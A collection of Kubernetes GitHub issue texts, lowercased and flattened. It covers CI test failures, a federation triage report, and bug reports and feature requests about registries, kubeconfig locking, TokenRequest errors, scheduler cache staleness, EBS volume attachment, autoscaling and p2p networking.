https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/281/  failed:  k8s.io  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 expected     <  string | len:1, cap:1>:           \ container kube-controller-manager-bootstrap-e2e-master/kube-controller-manager is using 301.5078125/300 mb of memory\ ,       to be empty /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/resource_usage_gatherer.go:376

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.5.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws & gke\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  : kops\r -   others  :\r \r \r   what happened  : trying to use private registry.  setup worked with version 1.4.8, now registry hangs when trying to search or push images to it.  no errors, just hangs.\r \r \r   what you expected to happen  : usable as was in version 1.4.8\r \r \r   how to reproduce it    as minimally and precisely as possible : \r 1. followed guide from link below.  not using it as an add-on, installing manually.\r 2. execute docker pull localhost:5000/image-name or build an image and try to push it to localhost:5000/image-name.  both hang.\r \r https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/registry\r \r \r   anything else we need to know  :\r \r

failure cluster  4df909ae403747031437  https://go.k8s.io/triage 4df909ae403747031437        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e_federation/service.go:126 failed to verify service \ federated-service\  in namespace \ e2e-tests-federated-service-g1l6z\  in cluster: present=true expected error:     < errors.errorstring | 0xc4202d8380>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e_federation/util.go:106           failure cluster statistics: 8 tests failed,    3 jobs failed,    67 builds failed. failure stats cover 1 day time range '14 may 2017 20:07 utc' to '15 may 2017 20:07 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  federated services  feature:federation  with clusters federated service should create and update matching services in underlying clusters | 2 | |  k8s.io  federated services  feature:federation  with clusters dns should be able to discover a federated service | 2 | |  k8s.io  federated services  feature:federation  with clusters federated service should recreate service shard in underlying clusters when service shard is deleted | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gce-federation-test | 46 |  15 may 2017 19:37 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-federation-test/7916  | | ci-kubernetes-e2e-gce-federation | 12 |  15 may 2017 07:15 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/3641  | | ci-kubernetes-e2e-gce-federation-serial | 9 |  15 may 2017 07:27 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation-serial/2745  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | nikhiljindal |  k8s.io  federated ingresses  feature:federation  federated ingresses  slow  should be deleted from underlying clusters when orphandependents is false;  k8s.io  federated ingresses  feature:federation  federated ingresses  slow  should not be deleted from underlying clusters when orphandependents is nil;  k8s.io  federated ingresses  feature:federation  federated ingresses  slow  should not be deleted from underlying clusters when orphandependents is true | | derekwaynecarr |  k8s.io  federated services  feature:federation  with clusters dns should be able to discover a federated service | | mml |  k8s.io  federated services  feature:federation  with clusters dns non-local federated service  slow  missing local service should never find dns entries for a missing local service | | sig/federation |  k8s.io  federated services  feature:federation  with clusters dns should be able to discover a federated service;  k8s.io  federated services  feature:federation  with clusters dns non-local federated service  slow  missing local service should never find dns entries for a missing local service;  k8s.io  federated ingresses  feature:federation  federated ingresses  slow  should be deleted from underlying clusters when orphandependents is false |  </details><br>   current status  https://go.k8s.io/triage 4df909ae403747031437

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r tpr, non-namespace-scoped\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r ---\r \r after create a kind of tpr, this new kind resource is namespace-scoped, i think we should also support cluster-scoped new kind of tpr.\r \r case: \r i want to write some configuration in cluster so that new admission plugin can read and work as configured note that this admission plugin not care about namespace . i can't use configmap since it is namespace-scoped, but i think tpr may has the chance to make that possible if i could create a cluster-scoped tpr data.\r \r now plan-b is that write this configuration to special namespace configmap like kube-system/default, but ugly...\r

  \r   what happened  :\r the same path was added multiple times to kubeconfig env variable.\r \r   what you expected to happen  :\r    bash\r $ export kubeconfig=\ /path/a.yml:/path/b.yml:/path/a.yml\ \r $ kubectl config current-context\r a\r $ kubectl config use-context b\r switched to context \ b\ .\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r    bash\r $ export kubeconfig=\ /path/a.yml:/path/b.yml:/path/a.yml\ \r $ kubectl config current-context\r a\r $ kubectl config use-context b\r error: open /path/a.yml.lock: file exists\r $ ls /path/a.yml.lock\r ls: /path/a.yml.lock: no such file or directory\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-10-05t00:40:04z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r - cloud provider or hardware configuration  :\r irrelevant\r - os  e.g. from /etc/os-release :\r macos sierra 10.12.6\r - kernel  e.g.  uname -a  :\r darwin kernel version 16.7.0\r - install tools:\r brew install kubernetes-cli\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r currently,  restclient is constructed each time call admit, this is low efficiency.\r   what you expected to happen  :\r \r we should cache this, because this will not change.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

all controllers in apps/v1 now have immutable selectors. while working on  converting deployment to use apps/v1  https://github.com/kubernetes/kubernetes/pull/61419 , i discovered that deployment is incompatible with apps/v1 replicaset because it expects to be able to add  pod-template-hash  to the replicaset's selector if it's missing.\r \r according to @janetkuo, this was a convenience feature to allow deployments to adopt user-created replicasets that weren't created directly by any deployment. given that this feature is incompatible with immutable replicaset selectors, it seems that we need to consider either dropping/weakening the feature, or relaxing replicaset selector immutability.\r \r since we already launched  apps/v1  deployment with this feature, it would be a breaking change to weaken it or stop supporting it. that means deployment would need to keep using replicaset via  extensions/v1beta1   which allows selector mutation  until  apps/v2  exists  with this feature deprecated and disabled by default   and   apps/v1  is removed  so the controller no longer needs to implement the feature at all . that would put us in the awkward position of supporting  extensions/v1beta1  for longer than  apps/v1 .\r \r an alternative would be to go ahead with a breaking change in  apps/v1   dropping/weakening the feature in question . the impact would depend on whether people actually rely on this behavior, and on whether any existing documentation explicitly recommends doing this. note that this would only help if we  also  break the feature in  extensions/v1beta1  deployment; if the controller still needs to implement the feature, it's stuck using replicaset via  extensions/v1beta1 .\r \r on the other hand, relaxing replicaset selector immutability  possibly only to allow certain types of mutations  in  apps/v1  would be a backwards-compatible change. the original selector immutability proposal called out this possibility as justification for starting out fully immutable -- you can relax, but you can't tighten. this would mean in 1.11 we relax replicaset selector immutability, and then in 1.12 we can finally move deployment to use replicaset via  apps/v1   since the controller needs to work against +/-1 minor version skewed apiservers during ha upgrades .\r \r i'm opening this issue to start a discussion about which path we should take, or other suggestions for how to resolve this.\r \r   \r cc @kow3ns @kubernetes/sig-apps-bugs @kubernetes/sig-apps-api-reviews \r \r this is a blocker for  55714.

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ cat tokenrequest.json \r {\r     \ apiversion\ : \ authentication.k8s.io/v1\ ,\r     \ kind\ : \ tokenrequest\ ,\r     \ metadata\ : {\r         \ name\ : \ tokenrequest\ ,\r         \ namespace\ : \ default\ \r     },\r     \ spec\ : {\r \t\ audiences\ :  \r \t\t\ caoshufeng\ \r \t ,\r         \ expirationseconds\ : 4000,\r \t\ boundobjectref\  : {\r                 \ kind\ : \ pod\ ,\r \t\t\ name\ : \ my-pod\ ,\r \t\t\ uid\ : \ d8d3861d-36ad-11e8-a2f7-000c2922890f\ \r         }\r     }\r }\r $ curl -d @tokenrequest.json  -h \ content-type: application/json\  -k --cert  /var/kube/kubecfg.crt -xpost --key /var/kube/kubecfg.key https://172.16.29.130:443/api/v1/namespaces/default/serviceaccounts/default/token\r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ serviceaccounts \\\ my-pod\\\  not found\ ,\r   \ reason\ : \ notfound\ ,\r   \ details\ : {\r     \ name\ : \ my-pod\ ,\r     \ kind\ : \ serviceaccounts\ \r   },\r   \ code\ : 404\r }\r    \r \r the error message said:\r    \r \ message\ : \ serviceaccounts \\\ my-pod\\\  not found\ ,\r    \r this is very strange, because \ my-pod\  is not a serviceaccount.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r the scheduler cache has a generation number for node info that is incremented every time a change is made to the node, for example, when node's resources change, pods assigned to the node, etc. this generation number starts from zero for a node when the node is added to the scheduler cache. the scheduler uses this generation number to update its snapshot of the cache. when generation numbers of the snapshot and the cached nodes are the same, scheduler knows that its snapshot is up to date. the problem is that if a node is deleted and then added back with the same name, there is a potential collision of the generation number that existed in the scheduler's snapshot and that of the newly added node. if such collision happens, the scheduler believes that its snapshot is up to date and keeps using it until the generation number changes. this can cause scheduler to use stale data from its stale snapshot. although the probability of such collision is low, it occurred consistently in one of our tests and took me a very long time to find what the root-cause was.\r \r  /assign\r

replace, patch, apply, ...  there used to be an issue, filed as a documentation issue, called something like \ explain the different kinds of updates and when to use them\  but i can't find it.  @jackgr @bgrant0607

we're running java applications that use up to 2 vcpu's during start and after that never go above 2% of 1 vcpu. for this i've lowered the cpu request and limit around that 2%. this is fine as hard-capping doesn't seem to affect the large spike in cpu usage at the start, so it still starts up fast.  however when this happens the autoscaler kicks in and in no time i have 10 instead of 3 pods, all spiking in cpu usage and eating up all memory for no real good reason.  is there a way - just like with the liveness probe - to delay a pod being evaluated for hpa?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubernetes aws-ebs invalid parameter value\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3+029c3a4\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ not a git tree\ , builddate:\ 2017-02-18t15:08:21z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3+coreos.0\ , gitcommit:\ 8fc95b64d0fe1608d0f6c788eaad2c004f31e7b7\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t19:52:15z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :coreos\r -   kernel    e.g.  uname -a  :4.7.3-coreos-r3\r -   install tools  : kube-aws by coreos\r -   others  : none.\r \r \r   what happened  :\r kubernetes can't mount aws ebs volumes in an rc, pod, whatever.\r ----\r old\r pvcs can't be used, because kubernetes complains about not valid ebs names.\r this seems to pertain at least dynamic pvcs\r \r   what you expected to happen  :\r \r kubernetes being able to mount the volume inside the pod.\r -----\r old \r kubernetes not complaining and instead mounting the pvcs correctly, like the manual describes.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. try to use an aws ebs volume in a pod,rc, whatever\r 2. watch it fail.\r \r ----\r old\r 1. configure a default storage class with aws ebs\r 3. configure a pvc using the default storage class\r 4. configure a pod, rc, ds, whatever using the pvc\r 5. watch the events.\r \r \r   anything else we need to know  :\r this was broken at least once before  27534.\r examples:\r    \r 17m        17m       1         auth-mongo-nt8bh   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-7e1f4814-fe16-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-0bfd631dbaef44875\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdeo  for parameter device is invalid. /dev/xvdeo is not a valid ebs device name.\r 17m        17m       1         auth-mongo-nt8bh   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-7e1f4814-fe16-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-0bfd631dbaef44875\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdep  for parameter device is invalid. /dev/xvdep is not a valid ebs device name.\r 16m        16m       1         auth-mongo-nt8bh   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-7e1f4814-fe16-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-0bfd631dbaef44875\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdeq  for parameter device is invalid. /dev/xvdeq is not a valid ebs device name.\r 15m        15m       1         auth-mongo-nt8bh   pod                 warning   failedmount   {controller-manager }                               failed to attach volume \ pvc-7e1f4814-fe16-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-0bfd631dbaef44875\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdes  for parameter device is invalid. /dev/xvdes is not a valid ebs device name.\r 21m        21m       1         demoapp-mongo-s0wqq   pod                               warning   failedmount        {controller-manager }       failed to attach volume \ pvc-0dd77dba-fe13-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-00ace7bce1d00858f\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvddz  for parameter device is invalid. /dev/xvddz is not a valid ebs device name.\r 21m        21m       1         demoapp-mongo-s0wqq   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-0dd77dba-fe13-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-00ace7bce1d00858f\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdea  for parameter device is invalid. /dev/xvdea is not a valid ebs device name.\r 21m        21m       1         demoapp-mongo-s0wqq   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-0dd77dba-fe13-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-00ace7bce1d00858f\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdeb  for parameter device is invalid. /dev/xvdeb is not a valid ebs device name.\r 21m        21m       1         demoapp-mongo-s0wqq   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-0dd77dba-fe13-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-00ace7bce1d00858f\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdec  for parameter device is invalid. /dev/xvdec is not a valid ebs device name.\r 21m        21m       1         demoapp-mongo-s0wqq   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-0dd77dba-fe13-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-00ace7bce1d00858f\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvded  for parameter device is invalid. /dev/xvded is not a valid ebs device name.\r 21m        21m       1         demoapp-mongo-s0wqq   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-0dd77dba-fe13-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-00ace7bce1d00858f\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdee  for parameter device is invalid. /dev/xvdee is not a valid ebs device name.\r 20m        20m       1         demoapp-mongo-s0wqq   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-0dd77dba-fe13-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-00ace7bce1d00858f\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdef  for parameter device is invalid. /dev/xvdef is not a valid ebs device name.\r 20m        20m       1         demoapp-mongo-s0wqq   pod                 warning   failedmount   {controller-manager }   failed to attach volume \ pvc-0dd77dba-fe13-11e6-a926-024149f5e6af\  on node \ ip-10-4-0-78.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-00ace7bce1d00858f\  to instance \ i-0c145de7be061643b\ : invalidparametervalue: value  /dev/xvdeg  for parameter device is invalid. /dev/xvdeg is not a valid ebs device name.\r    \r sample rc\r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   labels:\r     name: demoapp-mongo\r     app: demoapp\r   name: demoapp-mongo\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: demoapp-mongo\r     spec:\r       containers:\r         - name: demoapp-mongo\r           image: mongo\r           imagepullpolicy: always\r           ports:\r             - name: mongo-port\r               containerport: 27017\r           volumemounts:\r             - name: mongo-persistent-db\r               mountpath: /data/db\r       volumes:\r         - name: mongo-persistent-db\r           awselasticblockstore:\r             fstype: ext4\r             volumeid: vol-0f6dd9efe62929f82\r    \r \r -----\r old\r \r storage class and pvcs\r    \r \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: standard\r provisioner: kubernetes.io/aws-ebs\r parameters:\r   type: gp2\r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: demoapp-mongo-claim\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ standard\ \r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 100gi\r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: auth-mongo-claim\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ standard\ \r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 100gi\r    \r rc using the pvc\r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   labels:\r     name: demoapp-mongo\r     app: demoapp\r   name: demoapp-mongo\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: demoapp-mongo\r     spec:\r       containers:\r         - name: demoapp-mongo\r           image: mongo\r           imagepullpolicy: always\r           ports:\r             - name: mongo-port\r               containerport: 27017\r           volumemounts:\r             - name: mongo-persistent-db\r               mountpath: /data/db\r       volumes:\r       - name: mongo-persistent-db\r         persistentvolumeclaim:\r           claimname: demoapp-mongo-claim\r    \r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: '{\ kind\ :\ replicationcontroller\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ auth-mongo\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ auth\ ,\ name\ :\ auth-mongo\ }},\ spec\ :{\ replicas\ :1,\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ auth-mongo\ }},\ spec\ :{\ volumes\ : {\ name\ :\ mongo-persistent-db\ ,\ awselasticblockstore\ :{\ volumeid\ :\ vol-b9e70c7c\ ,\ fstype\ :\ ext4\ }} ,\ containers\ : {\ name\ :\ mongo\ ,\ image\ :\ mongo\ ,\ ports\ : {\ name\ :\ mongo-port\ ,\ containerport\ :27017} ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ mongo-persistent-db\ ,\ mountpath\ :\ /data/db\ } ,\ imagepullpolicy\ :\ always\ } }}},\ status\ :{\ replicas\ :0}}'\r   creationtimestamp: null\r   generation: 1\r   labels:\r     app: auth\r     name: auth-mongo\r   name: auth-mongo\r   selflink: /api/v1/namespaces//replicationcontrollers/auth-mongo\r spec:\r   replicas: 1\r   selector:\r     app: auth-mongo\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: auth-mongo\r     spec:\r       containers:\r       - image: mongo\r         imagepullpolicy: always\r         name: mongo\r         ports:\r         - containerport: 27017\r           name: mongo-port\r           protocol: tcp\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         volumemounts:\r         - mountpath: /data/db\r           name: mongo-persistent-db\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r       volumes:\r       - name: mongo-persistent-db\r         persistentvolumeclaim:\r           claimname: auth-mongo-claim\r \r status:\r   replicas: 0\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r as we know that there are two kinds of pod evictions by node controller or kubelet.\r for node controller eviction , when the pod was evicted , the event will be recorded, but on the other hand ,when the pod was evicted by kubelet, it just log the event ,but no record for the event, i think the event should be recorded. \r   what you expected to happen  :\r record the pod eviction event by kubelet.\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we should provide an upgrade path from pv/pvc with storage class specified in beta annotation to storage class specified in attribute. right now, any update of  pv.spec.storageclassname  and  pvc.spec.storageclassname  is blocked by validation once a pv/pvc is created. the validation should allow update of  storageclassname  if its value is the same as beta annotation.\r \r   @kubernetes/sig-storage-bugs \r

is this a bug report or feature request?  :\r   \r   what happened  :\r saw unusual resource names in events on a fair new k8s dev cluster  built few days ago .\r    \r $ kubectl get event --all-namespaces\r namespace     last seen   first seen   count     name                                   kind        subobject   type      reason            source                    message\r default       24m         24m          1         pre-shared-cert.15118864b017425f       ingress                 normal    add               loadbalancer-controller   default/pre-shared-cert\r default       7m          24m          19        pre-shared-cert.15118869c0878688       ingress                 warning   gce               loadbalancer-controller   googleapi: error 404: the resource 'projects/xxx/global/sslcertificates/test-pre-shared-cert' was not found, notfound\r default       24m         24m          7         pre-shared-cert.15118869c087f98f       ingress                 warning   service           loadbalancer-controller   could not find nodeport for backend {servicename:echoheaders-https serviceport:{type:0 intval:80 strval:}}: service default/echoheaders-https not found in store\r default       7m          24m          19        pre-shared-cert.15118869c0884157       ingress                 normal    service           loadbalancer-controller   no user specified default backend, using system default\r default       24m         24m          1         pre-shared-cert.1511886a2dafc276       ingress                 normal    create            loadbalancer-controller   ip: x.x.x.x\r kube-system   1m          2d           1213      fluentd-gcp-v2.0.14.1510eb70c5a2178e   daemonset               warning   failedplacement   daemonset-controller      failed to place pod on \ e2e-test-xxx-master\ : node s  were unschedulable\r kube-system   1m          2d           1229      metadata-proxy-v0.1.1510eb70c5abff71   daemonset               warning   failedplacement   daemonset-controller      failed to place pod on \ e2e-test-xxx-master\ : node s  were unschedulable\r    \r even the same resource could have different trailng hashes   .1511886xxx  , which seems abnormal.\r \r   what you expected to happen  :\r resource name should appear without trailing hash.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a cluster with head and look at any event.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.3.84+f5e7507287e4ae-dirty\ , gitcommit:\ f5e7507287e4ae05c16ad1914ec25aca0e53ec01\ , gittreestate:\ dirty\ , builddate:\ 2018-02-07t02:20:53z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gce kube-up\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r a pod is run with local volume mounted in block mode. when that pod is deleted, the tear down process fails because device unmap fails.  the device path appears to be empty, causing the unmap to fail.\r \r   what you expected to happen  :\r the teardown should have succeeded\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod with a pv for local volume in block mode. \r delete the pod. look at kubelet log files on the minion node to observe the error messages.\r \r   anything else we need to know?  :\r \r log messages:\r \r feb 18 09:21:43 kubernetes-minion-group-crj1 kubelet 1510 : e0218 09:21:43.910013    1510 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/local-volume/ff94baee-148c-11e8-b315-42010a8a0002-node1-ssd0\\\   \\\ ff94baee-148c-11e8-b315-42010a8a0002\\\  \  failed. no retries permitted until 2018-02-18 09:21:44.409981582 +0000 utc m=+18534.512007063  durationbeforeretry 500ms . error: \ unmapvolume.unmapdevice on global map path failed for volume \\\ blkdata\\\   uniquename: \\\ kubernetes.io/local-volume/ff94baee-148c-11e8-b315-42010a8a0002-node1-ssd0\\\   pod \\\ ff94baee-148c-11e8-b315-42010a8a0002\\\   uid: \\\ ff94baee-148c-11e8-b315-42010a8a0002\\\   : failed to unmap device from map path. mappath is empty\ \r \r feb 18 09:21:43 kubernetes-minion-group-crj1 kubelet 1510 : i0218 09:21:43.908467    1510 reconciler.go:181  operationexecutor.unmountvolume started for volume \ blkdata\   uniquename: \ kubernetes.io/local-volume/ff94baee-148c-11e8-b315-42010a8a0002-node1-ssd0\   pod \ ff94baee-148c-11e8-b315-42010a8a0002\   uid: \ ff94baee-148c-11e8-b315-42010a8a0002\  \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10+\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : \ container-optimized os from google\ \r - kernel  e.g.  uname -a  : linux  4.4.86+ \r - install tools:\r - others:\r

i am trying to run a p2p client  iota  which requires the node i am connecting to to be able to connect back to be on the same ip address i made the request from and to a very specific port.\r \r nodeport won't work because it exposes as a different port then what i want\r loadbalancer won't work because the other node won't know my load balancer ip address.\r \r how are people able to use p2p clients on kubernetes?

